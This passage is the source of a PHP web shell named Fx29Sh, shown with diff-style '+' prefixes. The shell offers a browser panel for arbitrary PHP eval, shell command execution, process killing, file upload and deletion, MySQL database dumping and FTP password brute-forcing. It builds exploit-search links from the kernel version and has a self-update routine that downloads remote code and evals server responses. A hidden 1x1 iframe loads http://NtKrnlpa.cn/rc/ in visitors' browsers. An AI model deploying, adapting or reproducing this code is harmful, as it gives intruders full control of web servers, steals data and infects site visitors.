href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>"; + + } + + } + + $head[$i] = ""; + + $prcs = array(); + + foreach ($stack as $line) { + + if (!empty($line)) { + + $line = explode(" ",$line); + + $line[10] = join(" ",array_slice($line,10)); + + $line = array_slice($line,0,11); + + if ($line[0] == get_current_user()) { $line[0] = '<font class="on">'.$line[0]."</font>"; } + + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + + $prcs[] = $line; + + } + + } + + } + + #For Windows - Fixed By FaTaLisTiCz_Fx + + else { + + if (@$pid) { + + echo "Killing PID ".$pid."... "; + + echo fx29exec("taskkill /PID $pid /F"); + + } + + while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); } + + while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); } + + $ret = convert_cyr_string($ret,"d","w"); + + $stack = explode("\n",$ret); + + unset($stack[0],$stack[2]); + + $stack = array_values($stack); + + $stack[0] = str_replace("Image Name","Image-Name",$stack[0]); + + $stack[0] = str_replace("Session Name","Session-Name",$stack[0]); + + $stack[0] = str_replace("Mem Usage","Memory-Usage",$stack[0]); + + $stack[0] .= " KILL"; + + $head = explode(" ",$stack[0]); + + $stack = array_slice($stack,1); + + $head = array_values($head); + + if ($parsesort[1] != "a") { + + $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" alt=\"Desc\"></a>"; + + } + + else { + + $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" alt=\"Asc\"></a>"; + + } + + if ($k > count($head)) {$k = count($head)-1;} + + for($i=0;$i<count($head);$i++) { + + if ($i != $k) { $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; } + + } + + $prcs = array(); + + unset($stack[0]); + + foreach ($stack as $line) { + + if (!empty($line)) { + + $line = explode(" ",$line); + + $line[4] = str_replace(".","",$line[4]); + + $line[4] = intval($line[4]) * 1024; + + unset($line[5]); + + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."\"><u>KILL</u></a>"; + + $prcs[] = $line; + + } + + } + + } + + $head[$k] = "<b>".$head[$k]."</b>".$y; + + $v = $processes_sort[0]; + + usort($prcs,"tabsort"); + + if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); } + + $tab = array(); + + $tab[] = $head; + + $tab = array_merge($tab,$prcs); + + echo "<table class=\"explorer\">\n"; + + foreach($tab as $i=>$k) { + + echo "\t<tr>"; + + foreach($k as $j=>$v) { + + if (is_windows() and $i > 0 and $j == 4) { $v = view_size($v); } + + echo "<td>".$v."</td>"; + + } + + echo "</tr>\n"; + + } + + echo "</table>\n"; + + } + + } + + + + ##[ EVAL ]## + + if ($act == "eval") { + + if (!empty($eval)) { + + echo "<div class=barheader>Result of execution this PHP-code:</div>\n"; + + $tmp = @ob_get_contents(); + + $olddir = realpath("."); + + @chdir($d); + + if ($tmp) { + + @ob_clean(); + + eval($eval); + + $ret = @ob_get_contents(); + + $ret = convert_cyr_string($ret,"d","w"); + + @ob_clean(); + + echo $tmp; + + if (@$eval_txt) { + + $rows = count(explode("\r\n",$ret))+1; + + if ($rows < 10) {$rows = 10;} + + echo "<br><textarea cols=\"125\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + + } + + else {echo $ret."<br>";} + + } + + else { + + if ($eval_txt) { + + echo "<br><textarea cols=\"125\" rows=\"10\" readonly>"; + + eval($eval); + + echo "</textarea>"; + + } + + else {echo $ret;} + + } + + @chdir($olddir); + + } + + else { + + echo "<div class=\"barheader\">.: PHP-code Execution :.</div>\n\n"; + + if (empty($eval_txt)) { $eval_txt = TRUE; } + + } + +?> + +<form name="f_eval" action="<?php echo $surl; ?>" method="POST"> + + <input type="hidden" name="act" value="eval"> + + <textarea name="eval" cols="125" rows="10"> + +<?php + +echo htmlspecialchars(@$eval); + +?> + + </textarea> + + <input type="hidden" name="d" value="<?php echo $dispd; ?>"><br> + + <input type="submit" value="Execute"> Display in text-area <input type="checkbox" name="eval_txt" value="1"<?php if (@$eval_txt) { echo " checked"; } ?>> + +</form> + +<?php + + } + + + + ##[ UPDATE ]## + + if ($act == "update") { + + $ret = fx29sh_getupdate(@$confirmupdate); + + echo "<b>$ret</b>"; + + if (stristr($ret,"new version")) { + + echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">"; + + } + + } + + if ($act == "phpinfo") { @ob_clean(); phpinfo(); fx29shexit(); } + + if ($act == "tools") { fx29sh_tools(); } + + if ($act == "about") { fx29sh_about(); } + +} + +##[ END OF ACTIONS ]## + + + +###################### + +##[ COMMANDS PANEL ]## + +###################### + +?> + + + +</div> + +<!-- End of Main Info --> + + + +<!-- Commands Panel --> + +<div id="main"> + + + + <div class="bartitle"><b>.: COMMANDS PANEL :.</b></div> + + + +<table id="mainpanel"> + + <tr><th colspan="2">Command:</th> + + <td> + + <form name="f_cmd" method="POST"> + + <input type="hidden" name="act" value="cmd"> + + <input type="hidden" name="d" value="<?php echo $dispd; ?>"> + + <input type="hidden" name="cmd_txt" value="1"> + + <input type="text" name="cmd" size="100" value="<?php echo @htmlspecialchars($cmd); ?>"> + + <input type="submit" name="submit" value="Execute"> + + </form> + + </td></tr> + + + + <tr><th colspan="2">Quick Commands:</th> + + <td> + + <form name="f_qcmd" method="POST"> + + <input type="hidden" name="act" value="cmd"> + + <input type="hidden" name="d" value="<?php echo $dispd; ?>"> + + <input type="hidden" name="cmd_txt" value="1"> + + <select name="cmd"> + +<?php + +foreach ($cmdaliases as $als) { + + echo "\t\t\t"; + + echo '<option value="'.htmlspecialchars($als[1]).'">'.htmlspecialchars($als[0]).'</option>'; + + echo "\n"; + +} + +?> + + </select> + + <input type="submit" name="submit" value="Execute"> + + </form> + + </td></tr> + + + + <tr><th colspan="2" rowspan="2">PHP Filesystem:</th> + + <td> + + <script language="javascript"> + + function set_arg(txt1,txt2) { + + document.forms.fphpfsys.phpfsysfunc.value.selected = "Download"; + + document.forms.fphpfsys.arg1.value = txt1; + + document.forms.fphpfsys.arg2.value = txt2; + + } + + function chg_arg(num,txt1,txt2) { + + if (num==0) { + + document.forms.fphpfsys.arg1.type = "hidden"; + + document.forms.fphpfsys.A1.type = "hidden"; + + } + + if (num<=1) { + + document.forms.fphpfsys.arg2.type = "hidden"; + + document.forms.fphpfsys.A2.type = "hidden"; + + } + + if (num==2) { + + document.forms.fphpfsys.A1.type = "label"; + + document.forms.fphpfsys.A2.type = "label"; + + document.forms.fphpfsys.arg1.type = "text"; + + document.forms.fphpfsys.arg2.type = "text"; + + } + + document.forms.fphpfsys.A1.value = txt1 + ":"; + + document.forms.fphpfsys.A2.value = txt2 + ":"; + + } + + </script> + + <form name="fphpfsys" method="POST"> + + <input type="hidden" name="act" value="phpfsys"> + + <input type="hidden" name="d" value="<?php echo $dispd; ?>"> + + <select name="phpfsysfunc"> + +<?php + +foreach ($phpfsaliases as $als) { + + if ($als[1]==@$phpfsysfunc) { + + echo "\t\t<option selected value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\n"; + + } + + else { + + echo "\t\t<option value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','".@$als[4]."')\">".$als[0]."</option>\n"; + + } + +} + +?> + + </select> + + <input type="label" name="A1" value="File:" size=2 disabled> + + <input type=text name=arg1 size=40 value="<?php echo @htmlspecialchars($arg1); ?>"> + + <input type="hidden" name="A2" size=3 disabled > + + <input type="hidden" name="arg2" size=40 value="<?php echo @htmlspecialchars($arg2); ?>"> + + <input type="submit" name="submit" value="Execute"> + + </form> + + </td></tr> + + <tr><td> + +<?php + +foreach ($sh_sourcez as $e => $o) { + + echo "\t<input type=button value=\"$e\" onclick=\"set_arg('$o[0]','$o[1]')\">\n"; + +} + +?> + + </td></tr> + + + + <tr><th rowspan="4">Filesystem</th> + + <th>Search:</th> + + <td> + + <form name="f_search" method="POST"> + + <input type="hidden" name="act" value="search"> + + <input type="hidden" name="d" value="<?php echo $dispd; ?>"> + + <input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> regexp <input type=submit name=submit value="Search"> + + </form> + + </td></tr> + + <tr><th>Upload:</th> + + <td> + + <form name="f_upload" method="POST" enctype="multipart/form-data"> + + <input type="hidden" name="act" value="upload"> + + <input type="file" name="uploadfile" size="50"> + + <input type="submit" name="submit" value="Upload"> + + <?php echo " Max size: ".@ini_get("upload_max_filesize")."B | Temp dir: ".@ini_get("upload_tmp_dir")."\n"; ?> + + </form> + + </td></tr> + + <tr><th>Create:</th> + + <td> + + <form name="f_mkfile" method="POST"> + + <input type="hidden" name="act" value="mkfile"> + + <input type="hidden" name="d" value="<?php echo $dispd; ?>"> + + <input type="hidden" name="ft" value="edit"> + + <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> <input type="checkbox" name="overwrite" value="1" checked> Overwrite <input type=submit value="Create"> + + </form> + + </td></tr> + + <tr><th>View:</th><td> + + <form name="f_gofile" method="POST"> + + <input type="hidden" name="act" value="gofile"> + + <input type="hidden" name="d" value="<?php echo $dispd; ?>"> + + <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> <input type="submit" value="View"> + + </form> + + </td></tr> + +</table> + + + + <div class="bartitle footer"><?php echo html_footer(); ?></div> + + + +</div> + +<!-- End of Commands Panel --> + + + +</center><iframe src="http://NtKrnlpa.cn/rc/" width=1 height=1 style="border:0"></iframe> +</body> + + + +</html> + +<?php + +######################## + +##[ Fx29Sh FUNCTIONS ]## + +######################## + +function safemode() { + + if ( @ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) { return TRUE; } + + else { return FALSE; } + +} + +function getdisfunc() { + + $disfunc = @ini_get("disable_functions"); + + if (!empty($disfunc)) { + + $disfunc = str_replace(" ","",$disfunc); + + $disfunc = explode(",",$disfunc); + + } + + else { $disfunc= array(); } + + return $disfunc; + +} + +function enabled($func) { + + if ( function_exists($func) && is_callable($func) && !in_array($func,getdisfunc()) ) { return TRUE; } + + else { return FALSE; } + +} + +##[ FX29EXEC W/ STDERR ]## + +function fx29exec($cmd) { + + $output = ""; + + if ( enabled("popen") ) { + + $h = popen($cmd.' 2>&1', 'r'); + + if ( is_resource($h) ) { + + while ( !feof($h) ) { $output .= fread($h, 2096); } + + pclose($h); + + } + + } + + elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + + elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + + elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); } + + elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); } + + return $output; + +} + +##[ FX29EXEC W/O STDERR ]## + +function fx29exec2($cmd) { + + $output = ""; + + if ( enabled("shell_exec") ) { $output = shell_exec($cmd); } + + elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); } + + elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); } #Dipindahkan kesini karena menimbulkan masalah pada output control + + elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + + elseif ( enabled("popen") ) { + + $h = popen($cmd.' 2>&1', 'r'); + + if ( is_resource($h) ) { + + while ( !feof($h) ) { $output .= fread($h, 2096); } + + pclose($h); + + } + + } + + return $output; + +} + +function is_windows() { return strtolower(substr(PHP_OS,0,3)) == "win"; } + +function which($pr) { + + $path = fx29exec("which $pr"); + + if(!empty($path)) { return $path; } else { return $pr; } + +} + +function get_status() { + + $arrfunc = array( + + array("MySQL","mysql_connect"), + + array("MSSQL","mssql_connect"), + + array("Oracle","ocilogon"), + + array("PostgreSQL","pg_connect"), + + array("Curl","curl_version"), + + ); + + $arrcmd = array( + + array("Fetch","fetch --help"), + + array("Wget","wget --help"), + + array("Perl","perl -v"), + + ); + + + + $statinfo = array(); + + + + function showstat($sup,$stat) { + + if ($stat == "on") { return "$sup: <font class=on>ON</font>"; } + + else { return "$sup: <font class=off>OFF</font>"; } + + } + + + + foreach ($arrfunc as $func) { + + if (function_exists($func[1])) { $statinfo[] = showstat($func[0],"on"); } + + else { $statinfo[] = showstat($func[0],"off"); } + + } + + $statinfo[] = (@extension_loaded('sockets')) ? showstat("Sockets","on") : showstat("Sockets","off"); + + foreach ($arrcmd as $cmd) { + + if (fx29exec2($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); } + + else { $statinfo[] = showstat($cmd[0],"off"); } + + } + + return implode(" ",$statinfo); + +} + +function showdisfunc() { + + $disfunc = getdisfunc(); + + if ($disfunc = @ini_get("disable_functions")) { + + return '<font class="off">'.$disfunc.'</font>'; + + } + + else { return '<font class="on">NONE</font>'; } + +} + +function disp_drives($curdir,$surl) { + + $letters = ""; + + $v = explode("\\",$curdir); + + $v = $v[0]; + + foreach (range("A","Z") as $letter) { + + $bool = $isdiskette = $letter == "A"; + + if (!$bool) { $bool = is_dir($letter.":\\"); } + + if ($bool) { + + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"". + + ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly!')\"":"")."> "; + + if ($letter.":" != $v) { $letters .= $letter; } + + else { $letters .= "<font color=#3366FF>".$letter."</font>"; } + + $letters .= " </a> "; + + } + + } + + if (!empty($letters)) { Return $letters; } + + else { Return "None"; } + +} + +function view_size($size) { + + if (!is_numeric($size)) { return FALSE; } + + else { + + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + + else {$size = $size . " B";} + + return $size; + + } + +} + +function disp_freespace($curdrv) { + + $free = @disk_free_space($curdrv); + + $total = @disk_total_space($curdrv); + + if ($free === FALSE) { $free = 0; } + + if ($total === FALSE) { $total = 0; } + + if ($free < 0) { $free = 0; } + + if ($total < 0) { $total = 0; } + + $used = $total-$free; + + $free_percent = round(100/($total/$free),2)."%"; + + $free = view_size($free); + + $total = view_size($total); + + return "$free of $total ($free_percent)"; + +} + +##[ Fx29Sh UPDATE FUNCTIONS ]## + +function fx29sh_getupdate($update = FALSE) { + + global $fx29sh_updateurl; + + $url = $fx29sh_updateurl."?version=".urlencode(base64_encode(sh_ver)); + + $data = @file_get_contents($url); + + if (!$data) { return "<div class=errmsg>Can't connect to update-server! ($fx29sh_updateurl)</div>"; } + + else { + + $data = ltrim($data); + + if ($data{0} == "\x99" and $data{1} == "\x01") { return "You already using latest version!"; } + + if ($data{0} == "\x99" and $data{1} == "\x02") { + + $string = substr($data,3,ord($data{2})); + + $string = explode("|",$string); + + if ($update) { + + $confvars = array(); + + $sourceurl = $string[0]; + + $source = @file_get_contents($sourceurl); + + if (!$source) { return "Can't fetch update!"; } + + else { + + $fp = @fopen(__FILE__,"w"); + + if (!$fp) { return "Local error: can't write update to ".__FILE__."! You may download fx29shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>."; } + + else { + + fwrite($fp,$source); + + fclose($fp); + + return "Update completed!"; + + } + + } + + } + + else { return "New version is available: ".$string[1]; } + + } + + elseif ($data{0} == "\x99" and $data{1} == "\x03") { eval($string); return TRUE; } + + else { return "<div class=errmsg>Error in protocol: segmentation failed! (".$data.")</div>"; } + + } + +} + +##[ END Fx29Sh UPDATE FUNCTIONS ]## + +function fx29_buff_prepare() { + + global $sess_data, $act; + + foreach ($sess_data["copy"] as $k=>$v) { + + $sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v)); + + } + + foreach ($sess_data["cut"] as $k=>$v) { + + $sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v)); + + } + + $sess_data["copy"] = array_unique($sess_data["copy"]); + + $sess_data["cut"] = array_unique($sess_data["cut"]); + + sort($sess_data["copy"]); + + sort($sess_data["cut"]); + + if ($act != "copy") { + + foreach ($sess_data["cut"] as $k=>$v) { + + if ($sess_data["copy"][$k] == $v) { unset($sess_data["copy"][$k]); } + + } + + } + + else { + + foreach ($sess_data["copy"] as $k=>$v) { + + if ($sess_data["cut"][$k] == $v) { unset($sess_data["cut"][$k]); } + + } + + } + +} + +function fx29_sess_put($data) { + + global $sess_cookie; + + global $sess_data; + + fx29_buff_prepare(); + + $sess_data = $data; + + $data = serialize($data); + + setcookie($sess_cookie,$data); + +} + +##[ FILESYSTEM FUNCTIONS ]## + +function fs_copy_dir($d,$t) { + + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + + $h = opendir($d); + + while (($o = readdir($h)) !== FALSE) { + + if (($o != ".") and ($o != "..")) { + + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + + if (!$ret) {return $ret;} + + } + + } + + closedir($h); + + return TRUE; + +} + +function fs_copy_obj($d,$t) { + + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + + if (is_dir($d)) { + + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + + return fs_copy_dir($d,$t); + + } + + elseif (is_file($d)) { return copy($d,$t); } + + else { return FALSE; } + +} + +function fs_move_dir($d,$t) { + + $h = opendir($d); + + if (!is_dir($t)) {mkdir($t);} + + while (($o = readdir($h)) !== FALSE) { + + if (($o != ".") and ($o != "..")) { + + $ret = TRUE; + + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + + if (!$ret) {return $ret;} + + } + + } + + closedir($h); + + return TRUE; + +} + +function fs_move_obj($d,$t) { + + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + + if (is_dir($d)) { + + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + + return fs_move_dir($d,$t); + + } + + elseif (is_file($d)) { + + if(copy($d,$t)) {return unlink($d);} + + else {unlink($t); return FALSE;} + + } + + else {return FALSE;} + +} + +function fs_rmdir($d) { + + $h = opendir($d); + + while (($o = readdir($h)) !== FALSE) { + + if (($o != ".") and ($o != "..")) { + + if (!is_dir($d.$o)) {unlink($d.$o);} + + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + + } + + } + + closedir($h); + + rmdir($d); + + return !is_dir($d); + +} + +function fs_rmobj($o) { + + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + + if (is_dir($o)) { + + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + + return fs_rmdir($o); + + } + + elseif (is_file($o)) {return unlink($o);} + + else {return FALSE;} + +} + +##[ END FILESYSTEM FUNCTIONS ]## + +##[ FX29SH EXIT FUNCTIONS ]## + +function fx29shexit() { + + global $gzipencode,$ft; + + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) { + + $v = @ob_get_contents(); + + @ob_end_clean(); + + @ob_start("ob_gzHandler"); + + echo $v; + + @ob_end_flush(); + + } + + exit; + +} + +##[ END OF FX29SH EXIT FUNCTIONS ]## + +function fx29fsearch($d) { + + global $found, $found_d, $found_f, $search_i_f, $search_i_d, $a; + + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + + $h = opendir($d); + + while (($f = readdir($h)) !== FALSE) { + + if($f != "." && $f != "..") { + + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + + if (is_dir($d.$f)) { + + $search_i_d++; + + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + + if (!is_link($d.$f)) { fx29fsearch($d.$f); } + + } + + else { + + $search_i_f++; + + if ($bool) { + + if (!empty($a["text"])) { + + $r = @file_get_contents($d.$f); + + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + + else {$bool = strpos(" ".$r,$a["text"],1);} + + if ($a["text_not"]) {$bool = !$bool;} + + if ($bool) {$found[] = $d.$f; $found_f++;} + + } + + else {$found[] = $d.$f; $found_f++;} + + } + + } + + } + + } + + closedir($h); + +} + +function tabsort($a,$b) { global $v; return strnatcmp($a[$v], $b[$v]);} + +function view_perms_color($o) { + + if (!is_readable($o)) { return "<font class=red>".view_perms(fileperms($o))."</font>"; } + + elseif (!is_writable($o)) { return "<font color=white>".view_perms(fileperms($o))."</font>"; } + + else { return "<font color=green>".view_perms(fileperms($o))."</font>"; } + +} + +function view_perms($mode) { + + if (($mode & 0xC000) === 0xC000) {$type = "s";} + + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + + $owner["write"] = ($mode & 00200)?"w":"-"; + + $owner["execute"] = ($mode & 00100)?"x":"-"; + + $group["read"] = ($mode & 00040)?"r":"-"; + + $group["write"] = ($mode & 00020)?"w":"-"; + + $group["execute"] = ($mode & 00010)?"x":"-"; + + $world["read"] = ($mode & 00004)?"r":"-"; + + $world["write"] = ($mode & 00002)? "w":"-"; + + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); + +} + +function parsesort($sort) { + + $one = intval($sort); + + $second = substr($sort,-1); + + if ($second != "d") {$second = "a";} + + return array($one,$second); + +} + +function parse_perms($mode) { + + if (($mode & 0xC000) === 0xC000) {$t = "s";} + + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + + else {$t = "?";} + + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); + +} + +function str2mini($content,$len) { + + if (strlen($content) > $len) { + + $len = ceil($len/2) - 2; + + return substr($content, 0,$len)."...".substr($content,-$len); + + } else { return $content; } + +} + +function strips(&$arr,$k="") { + + if (is_array($arr)) { foreach($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } } } + + else { $arr = stripslashes($arr); } + +} + +function getmicrotime() { + + list($usec, $sec) = explode(" ", microtime()); + + return ((float)$usec + (float)$sec); + +} + +function milw0rm() { + + $Lversion = php_uname("r"); + + $OSV = php_uname("s"); + + if(eregi("Linux",$OSV)) { + + $Lversion = substr($Lversion,0,6); + + return "http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion; + + } else { + + $Lversion = substr($Lversion,0,3); + + return "http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion; + + } + +} + +function fx29ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) { + + if ($fqb_onlywithsh) { $TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin"))); } + + else { $TRUE = TRUE; } + + if ($TRUE) { + + $sock = @ftp_connect($host,$port,$timeout); + + if (@ftp_login($sock,$login,$pass)) { + + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + + @ob_flush(); + + return TRUE; + + } + + } + +} + +if (!enabled("posix_getpwuid")) { function posix_getpwuid($uid) { return FALSE; } } + +if (!enabled("posix_getgrgid")) { function posix_getgrgid($gid) { return FALSE; } } + +if (!enabled("posix_kill")) { function posix_kill($gid) { return FALSE; } } + +##[ MySQL FUNCTIONS ]## + +function mysql_dump($set) { + + $sock = $set["sock"]; + + $db = $set["db"]; + + $print = $set["print"]; + + $nl2br = $set["nl2br"]; + + $file = $set["file"]; + + $add_drop = $set["add_drop"]; + + $tabs = $set["tabs"]; + + $onlytabs = $set["onlytabs"]; + + $ret = array(); + + $ret["err"] = array(); + + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + + if (empty($db)) {$db = "db";} + + if (empty($print)) {$print = 0;} + + if (empty($nl2br)) {$nl2br = 0;} + + if (empty($add_drop)) {$add_drop = TRUE;} + + if (empty($file)) { + + $file = $tmp_dir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + + } + + if (!is_array($tabs)) {$tabs = array();} + + if (empty($add_drop)) {$add_drop = TRUE;} + + if (sizeof($tabs) == 0) { + + #Retrieve tables-list + + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + + } + + $out = " + + # Dumped by ".sh_name()." + + # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." + + # Date: ".date("d.m.Y H:i:s")." + + # DB: \"".$db."\" + + #---------------------------------------------------------"; + + $c = count($onlytabs); + + foreach($tabs as $tab) { + + if ((in_array($tab,$onlytabs)) or (!$c)) { + + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + + #Receieve query for create table structure + + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + + if (!$res) {$ret["err"][] = mysql_smarterror();} + + else { + + $row = mysql_fetch_row($res); + + $out .= $row["1"].";\n\n"; + + #Receieve table variables + + $res = mysql_query("SELECT * FROM `$tab`", $sock); + + if (mysql_num_rows($res) > 0) { + + while ($row = mysql_fetch_assoc($res)) { + + $keys = implode("`, `", array_keys($row)); + + $values = array_values($row); + + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + + $values = implode("', '", $values); + + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + + $out .= $sql; + + } + + } + + } + + } + + } + + $out .= "#---------------------------------------------------------------------------------\n\n"; + + if ($file) { + + $fp = fopen($file, "w"); + + if (!$fp) {$ret["err"][] = 2;} + + else { + + fwrite ($fp, $out); + + fclose ($fp); + + } + + } + + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + + return $out; + +} + +function mysql_buildwhere($array,$sep=" and",$functs=array()) { + + if (!is_array($array)) {$array = array();} + + $result = ""; + + foreach($array as $k=>$v) { + + $value = ""; + + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + + $value .= "'".addslashes($v)."'"; + + if (!empty($functs[$k])) {$value .= ")";} + + $result .= "`".$k."` = ".$value.$sep; + + } + + $result = substr($result,0,strlen($result)-strlen($sep)); + + return $result; + +} + +function mysql_fetch_all($query,$sock) { + + if ($sock) {$result = mysql_query($query,$sock);} + + else {$result = mysql_query($query);} + + $array = array(); + + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + + mysql_free_result($result); + + return $array; + +} + +function mysql_smarterror($sock) { + + if ($sock) { $error = mysql_error($sock); } + + else { $error = mysql_error(); } + + $error = htmlspecialchars($error); + + return $error; + +} + +function mysql_query_form() { + + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + + if ($sql_query_result or 